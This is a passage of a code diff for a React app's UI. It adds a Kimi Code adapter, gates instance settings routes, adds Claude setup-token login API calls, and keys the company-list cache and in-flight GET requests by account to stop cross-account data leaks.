 import { CompanySkills } from "./pages/CompanySkills";
 import { SkillStudio } from "./pages/SkillStudio";
 import { Secrets } from "./pages/Secrets";
-import { CompanyExport } from "./pages/CompanyExport";
 import { CompanyImport } from "./pages/CompanyImport";
 import { DesignGuide } from "./pages/DesignGuide";
-import { InstanceGeneralSettings } from "./pages/InstanceGeneralSettings";
+import { InstanceExperimentalSettings } from "./pages/InstanceExperimentalSettings";
 import { InstanceAccess } from "./pages/InstanceAccess";
 import { InstanceSettings } from "./pages/InstanceSettings";
-import { InstanceExperimentalSettings } from "./pages/InstanceExperimentalSettings";
 import { ProfileSettings } from "./pages/ProfileSettings";
 import { PluginManager } from "./pages/PluginManager";
 import { PluginSettings } from "./pages/PluginSettings";
@@ -93,9 +94,15 @@ import { useDialogActions, useDialogState } from "./context/DialogContext";
 import { loadLastInboxTab } from "./lib/inbox";
 import {
   isOnboardingWizardActive,
+  onboardingStepForCompany,
   shouldRedirectCompanylessRouteToOnboarding,
 } from "./lib/onboarding-route";
-import { normalizeRememberedInstanceSettingsPath } from "./lib/instance-settings";
+import { useCompanyMission } from "./hooks/useCompanyMission";
+import { filterHiddenInstanceSettingsPath, normalizeRememberedInstanceSettingsPath } from "./lib/instance-settings";
+
+const CompanyExport = lazy(() =>
+  import("./pages/CompanyExport").then((module) => ({ default: module.CompanyExport })),
+);
 
 function boardRoutes() {
   return (
@@ -112,7 +119,14 @@ function boardRoutes() {
       <Route path="company/settings/members" element={<CompanyAccess />} />
       <Route path="company/settings/access" element={<CompanyAccessLegacyRoute />} />
       <Route path="company/settings/invites" element={<CompanyInvites />} />
-      <Route path="company/export/*" element={<CompanyExport />} />
+      <Route
+        path="company/export/*"
+        element={(
+          <Suspense fallback={<PaperclipLoading />}>
+            <CompanyExport />
+          </Suspense>
+        )}
+      />
       <Route path="company/import" element={<CompanyImport />} />
       <Route path="company/settings/secrets" element={<Secrets />} />
       <Route path="company/settings/tools" element={<LegacyToolsSettingsRedirect />} />
@@ -142,18 +156,32 @@ function boardRoutes() {
         <Route path="apps/:connectionId" element={<Navigate to="setup" replace />} />
         <Route path="apps/:connectionId/:tab" element={<AppDetail />} />
       </Route>
-      <Route path="company/settings/instance" element={<Navigate to="general" replace />} />
-      <Route path="company/settings/instance/profile" element={<ProfileSettings />} />
-      <Route path="company/settings/instance/general" element={<InstanceGeneralSettings />} />
-      <Route path="company/settings/instance/environments" element={<CompanyEnvironments />} />
-      <Route path="company/settings/instance/environments/new" element={<CompanyEnvironments mode="create" />} />
-      <Route path="company/settings/instance/environments/:environmentId/edit" element={<CompanyEnvironments mode="edit" />} />
-      <Route path="company/settings/instance/access" element={<InstanceAccess />} />
-      <Route path="company/settings/instance/heartbeats" element={<InstanceSettings />} />
-      <Route path="company/settings/instance/experimental" element={<InstanceExperimentalSettings />} />
-      <Route path="company/settings/instance/plugins" element={<PluginManager />} />
-      <Route path="company/settings/instance/plugins/:pluginId" element={<PluginSettings />} />
-      <Route path="company/settings/instance/adapters" element={<AdapterManager />} />
+      <Route path="company/settings/instance" element={<Navigate to="/company/settings" replace />} />
+      <Route element={<HiddenSettingsPageGate pageKey="instance.profile" />}>
+        <Route path="company/settings/instance/profile" element={<ProfileSettings />} />
+      </Route>
+      <Route path="company/settings/instance/general" element={<Navigate to="/company/settings" replace />} />
+      <Route element={<HiddenSettingsPageGate pageKey="instance.environments" />}>
+        <Route path="company/settings/instance/environments" element={<CompanyEnvironments />} />
+        <Route path="company/settings/instance/environments/new" element={<CompanyEnvironments mode="create" />} />
+        <Route path="company/settings/instance/environments/:environmentId/edit" element={<CompanyEnvironments mode="edit" />} />
+      </Route>
+      <Route element={<HiddenSettingsPageGate pageKey="instance.access" />}>
+        <Route path="company/settings/instance/access" element={<InstanceAccess />} />
+      </Route>
+      <Route element={<HiddenSettingsPageGate pageKey="instance.heartbeats" />}>
+        <Route path="company/settings/instance/heartbeats" element={<InstanceSettings />} />
+      </Route>
+      <Route element={<HiddenSettingsPageGate pageKey="instance.experimental" />}>
+        <Route path="company/settings/instance/experimental" element={<InstanceExperimentalSettings />} />
+      </Route>
+      <Route element={<HiddenSettingsPageGate pageKey="instance.plugins" />}>
+        <Route path="company/settings/instance/plugins" element={<PluginManager />} />
+        <Route path="company/settings/instance/plugins/:pluginId" element={<PluginSettings />} />
+      </Route>
+      <Route element={<HiddenSettingsPageGate pageKey="instance.adapters" />}>
+        <Route path="company/settings/instance/adapters" element={<AdapterManager />} />
+      </Route>
       <Route path="company/settings/:settingsRoutePath/*" element={<CompanySettingsPluginPage />} />
       <Route path="skills/studio" element={<SkillStudio />} />
       <Route path="skills/studio/new" element={<SkillStudio />} />
@@ -338,6 +366,7 @@ function LegacySettingsRedirect() {
   const location = useLocation();
   const { companies, selectedCompany, loading } = useCompany();
   const { companyPrefix } = useParams<{ companyPrefix?: string }>();
+  const { hidden: hiddenSettings } = useHiddenSettings();
 
   if (loading) {
     return <PaperclipLoading />;
@@ -363,8 +392,11 @@ function LegacySettingsRedirect() {
     return <NoCompaniesStartPage />;
   }
 
-  const normalizedPath = normalizeRememberedInstanceSettingsPath(
-    `${location.pathname}${location.search}${location.hash}`,
+  const normalizedPath = filterHiddenInstanceSettingsPath(
+    normalizeRememberedInstanceSettingsPath(
+      `${location.pathname}${location.search}${location.hash}`,
+    ),
+    hiddenSettings,
   );
 
   return (
@@ -393,11 +425,18 @@ function legacyToolsRedirectTarget(tab?: string) {
   return `/apps/advanced/${tab}`;
 }
 
-function OnboardingRoutePage() {
+export function OnboardingRoutePage() {
   const { companies } = useCompany();
   const { openOnboarding } = useDialogActions();
   const { onboardingOpen, onboardingRouteDismissed } = useDialogState();
   const { companyPrefix } = useParams<{ companyPrefix?: string }>();
+  const matchedCompany = companyPrefix
+    ? companies.find((company) => company.issuePrefix.toUpperCase() === companyPrefix.toUpperCase()) ?? null
+    : null;
+  // Which step this company belongs on, by the same rule the route resolver
+  // and the dashboard already use. Resolved above the early return below,
+  // because a hook cannot be called after it.
+  const { hasMission } = useCompanyMission(matchedCompany?.id ?? null);
 
   // The OnboardingWizard auto-opens on this route (and can also be opened
   // explicitly). While it is showing it covers the whole screen, so the
@@ -407,9 +446,6 @@ function OnboardingRoutePage() {
   if (isOnboardingWizardActive({ onboardingOpen, routeDismissed: onboardingRouteDismissed })) {
     return null;
   }
-  const matchedCompany = companyPrefix
-    ? companies.find((company) => company.issuePrefix.toUpperCase() === companyPrefix.toUpperCase()) ?? null
-    : null;
 
   const title = matchedCompany
     ? `Add another agent to ${matchedCompany.name}`
@@ -431,7 +467,16 @@ function OnboardingRoutePage() {
           <Button
             onClick={() =>
               matchedCompany
-                ? openOnboarding({ initialStep: 2, companyId: matchedCompany.id })
+                ? openOnboarding({
+                    // "Add another agent" to a company that already has its
+                    // mission must not stop to ask for the mission again. An
+                    // unsettled or failed lookup reads as "no mission" and
+                    // costs the step, which the customer can pass - and the
+                    // mission step now updates the existing goal rather than
+                    // adding a second one.
+                    initialStep: onboardingStepForCompany(hasMission),
+                    companyId: matchedCompany.id,
+                  })
                 : openOnboarding()
             }
           >
diff --git a/ui/src/adapters/adapter-display-registry.test.ts b/ui/src/adapters/adapter-display-registry.test.ts
index 6d237497101..0b34460347d 100644
--- a/ui/src/adapters/adapter-display-registry.test.ts
+++ b/ui/src/adapters/adapter-display-registry.test.ts
@@ -10,6 +10,7 @@ describe("adapter display registry", () => {
     expect(getAdapterLabel("cursor")).toBe("Cursor");
     expect(getAdapterLabel("gemini_local")).toBe("Gemini CLI");
     expect(getAdapterLabel("grok_local")).toBe("Grok Build");
+    expect(getAdapterLabel("kimi_local")).toBe("Kimi Code");
     expect(getAdapterLabel("hermes_local")).toBe("Hermes");
     expect(getAdapterLabel("hermes_gateway")).toBe("Hermes Gateway");
     expect(getAdapterLabel("opencode_local")).toBe("OpenCode");
@@ -22,6 +23,7 @@ describe("adapter display registry", () => {
       cursor: "Cursor",
       gemini_local: "Gemini CLI",
       grok_local: "Grok Build",
+      kimi_local: "Kimi Code",
       hermes_local: "Hermes",
       hermes_gateway: "Hermes Gateway",
       opencode_local: "OpenCode",
diff --git a/ui/src/adapters/adapter-display-registry.ts b/ui/src/adapters/adapter-display-registry.ts
index 4b7013fc06d..91e38999479 100644
--- a/ui/src/adapters/adapter-display-registry.ts
+++ b/ui/src/adapters/adapter-display-registry.ts
@@ -10,6 +10,7 @@ import {
   Bot,
   Code,
   Gem,
+  Moon,
   MousePointer2,
   Sparkles,
   Terminal,
@@ -89,6 +90,11 @@ const adapterDisplayMap: Record<string, AdapterDisplayInfo> = {
     description: "Grok Build harness",
     icon: Bot,
   },
+  kimi_local: {
+    label: "Kimi Code",
+    description: "Kimi Code CLI harness",
+    icon: Moon,
+  },
   hermes_gateway: {
     label: "Hermes Gateway",
     description: "Remote Hermes API server",
diff --git a/ui/src/adapters/kimi-local/config-fields.tsx b/ui/src/adapters/kimi-local/config-fields.tsx
new file mode 100644
index 00000000000..351a4cad4d9
--- /dev/null
+++ b/ui/src/adapters/kimi-local/config-fields.tsx
@@ -0,0 +1,51 @@
+import type { AdapterConfigFieldsProps } from "../types";
+import {
+  DraftInput,
+  Field,
+} from "../../components/agent-config-primitives";
+import { ChoosePathButton } from "../../components/PathInstructionsModal";
+
+const inputClass =
+  "w-full rounded-md border border-border px-2.5 py-1.5 bg-transparent outline-none text-sm font-mono placeholder:text-muted-foreground/40";
+const instructionsFileHint =
+  "Absolute path to a markdown file (e.g. AGENTS.md) that defines this agent's behavior. Prepended to the Kimi prompt at runtime.";
+
+export function KimiLocalConfigFields({
+  isCreate,
+  values,
+  set,
+  config,
+  eff,
+  mark,
+  hideInstructionsFile,
+}: AdapterConfigFieldsProps) {
+  if (hideInstructionsFile) return null;
+  return (
+    <>
+      <Field label="Agent instructions file" hint={instructionsFileHint}>
+        <div className="flex items-center gap-2">
+          <DraftInput
+            value={
+              isCreate
+                ? values!.instructionsFilePath ?? ""
+                : eff(
+                    "adapterConfig",
+                    "instructionsFilePath",
+                    String(config.instructionsFilePath ?? ""),
+                  )
+            }
+            onCommit={(v) =>
+              isCreate
+                ? set!({ instructionsFilePath: v })
+                : mark("adapterConfig", "instructionsFilePath", v || undefined)
+            }
+            immediate
+            className={inputClass}
+            placeholder="/absolute/path/to/AGENTS.md"
+          />
+          <ChoosePathButton />
+        </div>
+      </Field>
+    </>
+  );
+}
diff --git a/ui/src/adapters/kimi-local/index.ts b/ui/src/adapters/kimi-local/index.ts
new file mode 100644
index 00000000000..9b9b287609a
--- /dev/null
+++ b/ui/src/adapters/kimi-local/index.ts
@@ -0,0 +1,20 @@
+import type { UIAdapterModule } from "../types";
+import { parseKimiStdoutLine } from "@paperclipai/adapter-kimi-local/ui";
+import { KimiLocalConfigFields } from "./config-fields";
+import { buildKimiLocalConfig } from "@paperclipai/adapter-kimi-local/ui";
+
+export const kimiLocalUIAdapter: UIAdapterModule = {
+  type: "kimi_local",
+  label: "Kimi Code",
+  parseStdoutLine: parseKimiStdoutLine,
+  ConfigFields: KimiLocalConfigFields,
+  buildAdapterConfig: buildKimiLocalConfig,
+  // Kimi streams token-level deltas (~16k per run, ~50x a comparable Claude
+  // run): keep a wide transcript window so heartbeats don't drop rendered
+  // content mid-run, and render live reasoning as a scrollable log instead of
+  // the one-line ticker.
+  transcriptPresentation: {
+    maxVisibleEntries: 400,
+    liveReasoningView: "scrollLog",
+  },
+};
diff --git a/ui/src/adapters/registry.ts b/ui/src/adapters/registry.ts
index c4d6b009c01..38345e24fa1 100644
--- a/ui/src/adapters/registry.ts
+++ b/ui/src/adapters/registry.ts
@@ -5,6 +5,7 @@ import { cursorCloudUIAdapter } from "./cursor-cloud";
 import { cursorLocalUIAdapter } from "./cursor";
 import { geminiLocalUIAdapter } from "./gemini-local";
 import { grokLocalUIAdapter } from "./grok-local";
+import { kimiLocalUIAdapter } from "./kimi-local";
 import { hermesGatewayUIAdapter } from "./hermes-gateway";
 import { hermesLocalUIAdapter } from "./hermes-local";
 import { openCodeLocalUIAdapter } from "./opencode-local";
@@ -57,6 +58,7 @@ function registerBuiltInUIAdapters() {
     cursorCloudUIAdapter,
     geminiLocalUIAdapter,
     grokLocalUIAdapter,
+    kimiLocalUIAdapter,
     hermesGatewayUIAdapter,
     hermesLocalUIAdapter,
     openCodeLocalUIAdapter,
diff --git a/ui/src/adapters/transcript.test.ts b/ui/src/adapters/transcript.test.ts
index 56627f328ad..768909311cb 100644
--- a/ui/src/adapters/transcript.test.ts
+++ b/ui/src/adapters/transcript.test.ts
@@ -1,6 +1,7 @@
 import { describe, expect, it } from "vitest";
 import { buildTranscript, type RunLogChunk } from "./transcript";
 import { grokLocalUIAdapter } from "./grok-local";
+import { kimiLocalUIAdapter } from "./kimi-local";
 import type { UIAdapterModule } from "./types";
 
 describe("buildTranscript", () => {
@@ -199,4 +200,31 @@ describe("buildTranscript", () => {
       { kind: "system", ts, text: "stop_reason=EndTurn session=sess-1" },
     ]);
   });
+
+  it("coalesces kimi_local ACP text deltas into one assistant entry", () => {
+    const entries = buildTranscript(
+      [
+        { ts, stream: "stdout", chunk: `${JSON.stringify({ type: "acpx.text_delta", channel: "output", text: "Hello " })}\n` },
+        { ts, stream: "stdout", chunk: `${JSON.stringify({ type: "acpx.text_delta", channel: "output", text: "world" })}\n` },
+        { ts, stream: "stdout", chunk: `${JSON.stringify({ type: "acpx.result", summary: "done", stopReason: "end_turn" })}\n` },
+      ],
+      kimiLocalUIAdapter,
+    );
+
+    expect(entries).toEqual([
+      { kind: "assistant", ts, text: "Hello world", delta: true },
+      {
+        kind: "result",
+        ts,
+        text: "done",
+        inputTokens: 0,
+        outputTokens: 0,
+        cachedTokens: 0,
+        costUsd: 0,
+        subtype: "end_turn",
+        isError: false,
+        errors: [],
+      },
+    ]);
+  });
 });
diff --git a/ui/src/adapters/types.ts b/ui/src/adapters/types.ts
index 74bd48e5380..8bfa4d7c78a 100644
--- a/ui/src/adapters/types.ts
+++ b/ui/src/adapters/types.ts
@@ -41,4 +41,26 @@ export interface UIAdapterModule extends TranscriptParserSource {
   label: string;
   ConfigFields: ComponentType<AdapterConfigFieldsProps>;
   buildAdapterConfig: (values: CreateConfigValues) => Record<string, unknown>;
+  /**
+   * Optional issue-chat transcript presentation hints. Shared rendering code
+   * resolves these through the registry and never branches on adapter
+   * identities, so external/plugin adapters can declare them too. Omitted
+   * fields fall back to the defaults every adapter has today.
+   */
+  transcriptPresentation?: {
+    /**
+     * Renderable transcript entries kept in the issue-chat window (default
+     * 30). Verbose streaming backends emit hundreds of entries per heartbeat;
+     * trimming those mid-run drops already-rendered content off the front and
+     * the index shift can mangle retraction smoothing.
+     */
+    maxVisibleEntries?: number;
+    /**
+     * Live-run reasoning rendering (default "ticker", the one-line rolling
+     * view). "scrollLog" renders the full reasoning in a scrollable box that
+     * auto-follows the newest line — for backends whose delta volume
+     * overwhelms the ticker.
+     */
+    liveReasoningView?: "ticker" | "scrollLog";
+  };
 }
diff --git a/ui/src/adapters/use-adapter-capabilities.ts b/ui/src/adapters/use-adapter-capabilities.ts
index 78d81f5d33c..55abb33ded9 100644
--- a/ui/src/adapters/use-adapter-capabilities.ts
+++ b/ui/src/adapters/use-adapter-capabilities.ts
@@ -22,6 +22,7 @@ const KNOWN_DEFAULTS: Record<string, AdapterCapabilities> = {
   cursor: { supportsInstructionsBundle: true, supportsSkills: true, supportsLocalAgentJwt: true, requiresMaterializedRuntimeSkills: true, supportsModelProfiles: true, supportsAcp: false },
   gemini_local: { supportsInstructionsBundle: true, supportsSkills: true, supportsLocalAgentJwt: true, requiresMaterializedRuntimeSkills: true, supportsModelProfiles: true, supportsAcp: true },
   grok_local: { supportsInstructionsBundle: true, supportsSkills: true, supportsLocalAgentJwt: true, requiresMaterializedRuntimeSkills: true, supportsModelProfiles: false, supportsAcp: false },
+  kimi_local: { supportsInstructionsBundle: true, supportsSkills: true, supportsLocalAgentJwt: true, requiresMaterializedRuntimeSkills: true, supportsModelProfiles: false, supportsAcp: true },
   opencode_local: { supportsInstructionsBundle: true, supportsSkills: true, supportsLocalAgentJwt: true, requiresMaterializedRuntimeSkills: true, supportsModelProfiles: true, supportsAcp: false },
   pi_local: { supportsInstructionsBundle: true, supportsSkills: true, supportsLocalAgentJwt: true, requiresMaterializedRuntimeSkills: true, supportsModelProfiles: false, supportsAcp: false },
   openclaw_gateway: ALL_FALSE,
diff --git a/ui/src/api/adapters.ts b/ui/src/api/adapters.ts
index 7fdabf9e030..0735075cbd6 100644
--- a/ui/src/api/adapters.ts
+++ b/ui/src/api/adapters.ts
@@ -4,6 +4,17 @@
 
 import { api } from "./client";
 
+/**
+ * The safe scalar login fields the server projects for an adapter that declares
+ * an interactive login capability. The projection carries no function member and
+ * no secret. The form reads it to pick the login flow and the login panel.
+ */
+export interface AdapterLoginProjection {
+  panelMode: "displayed_code" | "submitted_browser_code";
+  sandboxTransport: "streamed_exec" | "pseudo_terminal";
+  timeoutPolicy: "caller_bounded" | "fixed";
+}
+
 export interface AdapterCapabilities {
   supportsInstructionsBundle: boolean;
   supportsSkills: boolean;
@@ -11,6 +22,8 @@ export interface AdapterCapabilities {
   requiresMaterializedRuntimeSkills: boolean;
   supportsModelProfiles: boolean;
   supportsAcp: boolean;
+  /** Present only when the adapter declares an interactive login capability. */
+  login?: AdapterLoginProjection;
 }
 
 export interface AcpTargetDescriptor {
diff --git a/ui/src/api/agents.ts b/ui/src/api/agents.ts
index 5dc32696d43..7cc773a6eb9 100644
--- a/ui/src/api/agents.ts
+++ b/ui/src/api/agents.ts
@@ -10,6 +10,13 @@ import type {
   AdapterEnvironmentTestResult,
   AdapterAuthSessionResponse,
   AdapterAuthSessionOwnerResponse,
+  ClaudeSetupTokenSessionResponse,
+  ClaudeSetupTokenSessionOwnerResponse,
+  ClaudeSetupTokenSessionPrompt,
+  ClaudeSetupTokenCompletionResponse,
+  ClaudeSetupTokenOverwrite,
+  ClaudeOAuthTokenStatusResponse,
+  SubmitBrowserCodeRequest,
   AgentKeyCreated,
   AgentRuntimeState,
   AgentTaskSession,
@@ -257,6 +264,51 @@ export const agentsApi = {
       `/companies/${encodeURIComponent(companyId)}/adapters/${encodeURIComponent(type)}/login-sessions/${encodeURIComponent(sessionId)}/cancel`,
       {},
     ),
+  // The Claude submitted-browser-code login uses the company-and-environment
+  // setup-token routes. The route fixes the `claude_local` adapter. The start
+  // response carries the panel mode; the authorization URL rides only through the
+  // guarded prompt read. The completion response carries a non-secret
+  // `storedSessionId` claim and no token.
+  // Reads the stored Claude OAuth token status for the authenticated owner. A
+  // 200 carries only the secret id and the latest version; a 404 means the owner
+  // has no stored value (indistinguishable from a foreign value). The client
+  // applies the stored token first and captures the version for a later
+  // version-checked overwrite.
+  getClaudeOAuthTokenStatus: (companyId: string) =>
+    api.get<ClaudeOAuthTokenStatusResponse>(
+      `/companies/${encodeURIComponent(companyId)}/claude-oauth-token-status`,
+    ),
+  startClaudeSetupTokenLogin: (
+    companyId: string,
+    data: { environmentId: string; overwrite?: ClaudeSetupTokenOverwrite },
+  ) =>
+    api.post<ClaudeSetupTokenSessionOwnerResponse>(
+      `/companies/${encodeURIComponent(companyId)}/setup-token-login-sessions`,
+      { adapterType: "claude_local", ...data },
+    ),
+  getClaudeSetupTokenLoginStatus: (companyId: string, sessionId: string) =>
+    api.get<ClaudeSetupTokenSessionResponse>(
+      `/companies/${encodeURIComponent(companyId)}/setup-token-login-sessions/${encodeURIComponent(sessionId)}`,
+    ),
+  getClaudeSetupTokenLoginPrompt: (companyId: string, sessionId: string) =>
+    api.get<ClaudeSetupTokenSessionPrompt>(
+      `/companies/${encodeURIComponent(companyId)}/setup-token-login-sessions/${encodeURIComponent(sessionId)}/prompt`,
+    ),
+  submitClaudeSetupTokenBrowserCode: (companyId: string, sessionId: string, browserCode: string) =>
+    api.post<ClaudeSetupTokenSessionResponse>(
+      `/companies/${encodeURIComponent(companyId)}/setup-token-login-sessions/${encodeURIComponent(sessionId)}/code`,
+      { browserCode } satisfies SubmitBrowserCodeRequest,
+    ),
+  completeClaudeSetupTokenLogin: (companyId: string, sessionId: string) =>
+    api.post<ClaudeSetupTokenCompletionResponse>(
+      `/companies/${encodeURIComponent(companyId)}/setup-token-login-sessions/${encodeURIComponent(sessionId)}/completion`,
+      {},
+    ),
+  cancelClaudeSetupTokenLogin: (companyId: string, sessionId: string) =>
+    api.post<void>(
+      `/companies/${encodeURIComponent(companyId)}/setup-token-login-sessions/${encodeURIComponent(sessionId)}/cancel`,
+      {},
+    ),
   availableSkills: () =>
     api.get<{ skills: AvailableSkill[] }>("/skills/available"),
 };
diff --git a/ui/src/api/client.test.ts b/ui/src/api/client.test.ts
index d21ec061816..9c8efe55ab4 100644
--- a/ui/src/api/client.test.ts
+++ b/ui/src/api/client.test.ts
@@ -1,5 +1,5 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
-import { __inflightGetCount, api } from "./client";
+import { __inflightGetCount, api, detachInflightGet } from "./client";
 
 interface Deferred<T> {
   promise: Promise<T>;
@@ -70,6 +70,30 @@ describe("in-tab GET coalescing", () => {
     await expect(p2).rejects.toMatchObject({ name: "AbortError" });
   });
 
+  it("stops later callers joining a detached in-flight GET", async () => {
+    // A GET issued under one account's session must not answer a caller that
+    // runs after the account changed.
+    const first = deferred<Response>();
+    fetchMock.mockReturnValueOnce(first.promise);
+    const previousAccount = api.get("/detach-me");
+    expect(__inflightGetCount()).toBe(1);
+
+    detachInflightGet("/detach-me");
+    expect(__inflightGetCount()).toBe(0);
+
+    const second = deferred<Response>();
+    fetchMock.mockReturnValueOnce(second.promise);
+    const currentAccount = api.get("/detach-me");
+    expect(fetchMock).toHaveBeenCalledTimes(2);
+
+    // Each caller gets its own response, not the other's.
+    first.resolve(jsonResponse({ companies: ["previous"] }));
+    second.resolve(jsonResponse({ companies: ["current"] }));
+    expect(await previousAccount).toEqual({ companies: ["previous"] });
+    expect(await currentAccount).toEqual({ companies: ["current"] });
+    expect(__inflightGetCount()).toBe(0);
+  });
+
   it("never coalesces mutations", async () => {
     fetchMock.mockResolvedValue(jsonResponse({ ok: true }));
     await Promise.all([api.post("/mutate", { a: 1 }), api.post("/mutate", { a: 1 })]);
diff --git a/ui/src/api/client.ts b/ui/src/api/client.ts
index ced7cc26129..923c7f5c153 100644
--- a/ui/src/api/client.ts
+++ b/ui/src/api/client.ts
@@ -136,6 +136,19 @@ function coalescedGet<T>(path: string, options?: RequestOptions): Promise<T> {
   });
 }
 
+/**
+ * Stop later callers from joining the in-flight GET for `path`.
+ *
+ * Coalescing keys on the path alone, so a GET issued under one account's session
+ * can be joined by a caller that runs after the account changed — and handed the
+ * previous account's response. Detaching leaves that request to settle for the
+ * callers that asked for it, and makes the next call issue a fresh one. It does
+ * not abort, because those callers still want what they asked for.
+ */
+export function detachInflightGet(path: string): void {
+  inflightGets.delete(path);
+}
+
 /** Test-only: number of in-flight coalesced GET keys. */
 export function __inflightGetCount(): number {
   return inflightGets.size;
diff --git a/ui/src/api/companies-query.test.ts b/ui/src/api/companies-query.test.ts
index 2d114d39a58..865f0718f89 100644
--- a/ui/src/api/companies-query.test.ts
+++ b/ui/src/api/companies-query.test.ts
@@ -1,22 +1,129 @@
+import { QueryClient } from "@tanstack/react-query";
 import { describe, expect, it, vi } from "vitest";
-import { companiesListQueryOptions } from "./companies-query";
+import { companyListQueryOptions, resolveAccountUserId } from "./companies-query";
 import { ApiError } from "./client";
+import { queryKeys } from "../lib/queryKeys";
+
+const mockAuthApi = vi.hoisted(() => ({
+  getSession: vi.fn(),
+}));
+
+vi.mock("./auth", () => ({
+  authApi: mockAuthApi,
+}));
 
 const mockCompaniesApi = vi.hoisted(() => ({
   list: vi.fn(),
+  detachInflightList: vi.fn(),
 }));
 
 vi.mock("./companies", () => ({
   companiesApi: mockCompaniesApi,
 }));
 
-describe("companiesListQueryOptions", () => {
+describe("companyListQueryOptions", () => {
   it.each([401, 403])("treats %s company-list failures as unauthorized bootstrap state", async (status) => {
     mockCompaniesApi.list.mockRejectedValueOnce(new ApiError("Board access required", status, { error: "Board access required" }));
 
-    await expect(companiesListQueryOptions.queryFn()).resolves.toEqual({
+    await expect(companyListQueryOptions("user-1").queryFn()).resolves.toEqual({
       companies: [],
       unauthorized: true,
     });
   });
 });
+
+describe("company list cache keys", () => {
+  it("gives each account its own entry, and a stable one for signed-out", () => {
+    expect(companyListQueryOptions("user-1").queryKey).not.toEqual(
+      companyListQueryOptions("user-2").queryKey,
+    );
+    expect(companyListQueryOptions(null).queryKey).toEqual(companyListQueryOptions(null).queryKey);
+  });
+
+  it("stays under the `companies` prefix so existing invalidations still reach it", () => {
+    expect(companyListQueryOptions("user-1").queryKey.slice(0, 1)).toEqual(queryKeys.companies.all);
+  });
+
+  // Coalescing keys on the request path alone, so a `/companies` request issued
+  // under the previous session would otherwise answer this one and land the
+  // wrong account's list in an account-keyed entry.
+  it("refuses to join an in-flight request issued for another account", async () => {
+    mockCompaniesApi.list.mockResolvedValueOnce([]);
+    await companyListQueryOptions("user-2").queryFn();
+    expect(mockCompaniesApi.detachInflightList).toHaveBeenCalled();
+  });
+});
+
+// 19 call sites invalidate `queryKeys.companies.all` after mutating a company.
+// Keying the list deeper only stays safe while that prefix still matches it, so
+// this asserts the matching itself rather than the shape of the key.
+describe("existing invalidations still reach the account-keyed list", () => {
+  it("marks the list stale when the `companies` prefix is invalidated", async () => {
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    const key = companyListQueryOptions("user-1").queryKey;
+    queryClient.setQueryData(key, { companies: [], unauthorized: false });
+    expect(queryClient.getQueryState(key)?.isInvalidated).toBe(false);
+
+    await queryClient.invalidateQueries({ queryKey: queryKeys.companies.all });
+
+    expect(queryClient.getQueryState(key)?.isInvalidated).toBe(true);
+  });
+});
+
+// A session request that fails answers nothing. `authApi.getSession` returns
+// null only for a 401 — a real "signed out" — and throws otherwise, so treating
+// a failure as null would key a credentialed response to `anonymous` and hand
+// it to every signed-out reader. The original bug, rebuilt for anonymous.
+describe("an unavailable session is not an anonymous session", () => {
+  it("does not resolve an identity from an errored session entry", async () => {
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    mockAuthApi.getSession.mockRejectedValueOnce(new Error("network down"));
+    await queryClient
+      .fetchQuery({ queryKey: queryKeys.auth.session, queryFn: () => mockAuthApi.getSession(), retry: false })
+      .catch(() => undefined);
+    expect(queryClient.getQueryState(queryKeys.auth.session)?.status).toBe("error");
+
+    // Asked again rather than assumed anonymous.
+    mockAuthApi.getSession.mockResolvedValueOnce({ user: { id: "user-9" } });
+    await expect(resolveAccountUserId(queryClient)).resolves.toBe("user-9");
+  });
+
+  it("fetches the session when the cache has no answer, instead of defaulting to anonymous", async () => {
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    mockAuthApi.getSession.mockResolvedValueOnce({ user: { id: "user-7" } });
+
+    await expect(resolveAccountUserId(queryClient)).resolves.toBe("user-7");
+    expect(mockAuthApi.getSession).toHaveBeenCalled();
+  });
+
+  it("still treats a confirmed 401 as the anonymous identity", async () => {
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    // `getSession` resolves null for a 401 — signed out is an answer.
+    mockAuthApi.getSession.mockResolvedValueOnce(null);
+
+    await expect(resolveAccountUserId(queryClient)).resolves.toBeNull();
+  });
+});
+
+
+// Invalidation is the app saying "that answer belongs to the previous account".
+// The entry stays `success` with the old user until a refetch lands, so a status
+// check alone would key the new account's list to the old account's id.
+describe("an invalidated session is not a current identity", () => {
+  it("re-reads the session rather than trusting an invalidated success", async () => {
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    mockAuthApi.getSession.mockResolvedValueOnce({ user: { id: "user-1" } });
+    await queryClient.fetchQuery({
+      queryKey: queryKeys.auth.session,
+      queryFn: () => mockAuthApi.getSession(),
+      retry: false,
+    });
+
+    // Signed in as somebody else; the invite page invalidates and asks at once.
+    await queryClient.invalidateQueries({ queryKey: queryKeys.auth.session });
+    expect(queryClient.getQueryState(queryKeys.auth.session)?.status).toBe("success");
+    mockAuthApi.getSession.mockResolvedValueOnce({ user: { id: "user-2" } });
+
+    await expect(resolveAccountUserId(queryClient)).resolves.toBe("user-2");
+  });
+});
diff --git a/ui/src/api/companies-query.ts b/ui/src/api/companies-query.ts
index 4250193d04f..057cdb89f5f 100644
--- a/ui/src/api/companies-query.ts
+++ b/ui/src/api/companies-query.ts
@@ -1,25 +1,139 @@
+import { useQuery, type QueryClient } from "@tanstack/react-query";
 import type { Company } from "@paperclipai/shared";
+import { authApi } from "./auth";
 import { companiesApi } from "./companies";
 import { ApiError } from "./client";
 import { queryKeys } from "../lib/queryKeys";
 
 export type CompanyListResult = { companies: Company[]; unauthorized: boolean };
 
-// Single source of truth for the `["companies"]` query. Both CompanyProvider and
-// the invite landing page read this cache entry, so they must agree on the shape —
-// returning a bare `Company[]` from one and this wrapped object from the other
-// silently corrupts the shared cache and crashes whichever reads the other's shape.
-export const companiesListQueryOptions = {
-  queryKey: queryKeys.companies.all,
-  queryFn: async (): Promise<CompanyListResult> => {
-    try {
-      return { companies: await companiesApi.list(), unauthorized: false };
-    } catch (err) {
-      if (err instanceof ApiError && (err.status === 401 || err.status === 403)) {
-        return { companies: [], unauthorized: true };
+// Single source of truth for the company-list query. Every consumer reads the
+// same cache entry, so they must agree on the shape — returning a bare
+// `Company[]` from one and this wrapped object from another silently corrupts
+// the entry and crashes whichever reads the other's shape.
+//
+// The entry is keyed by account. Callers therefore cannot ask for "the company
+// list" without saying whose, which is the point: the previous design let a
+// list fetched for one account answer a question about another, and every
+// consumer had to defend against that individually.
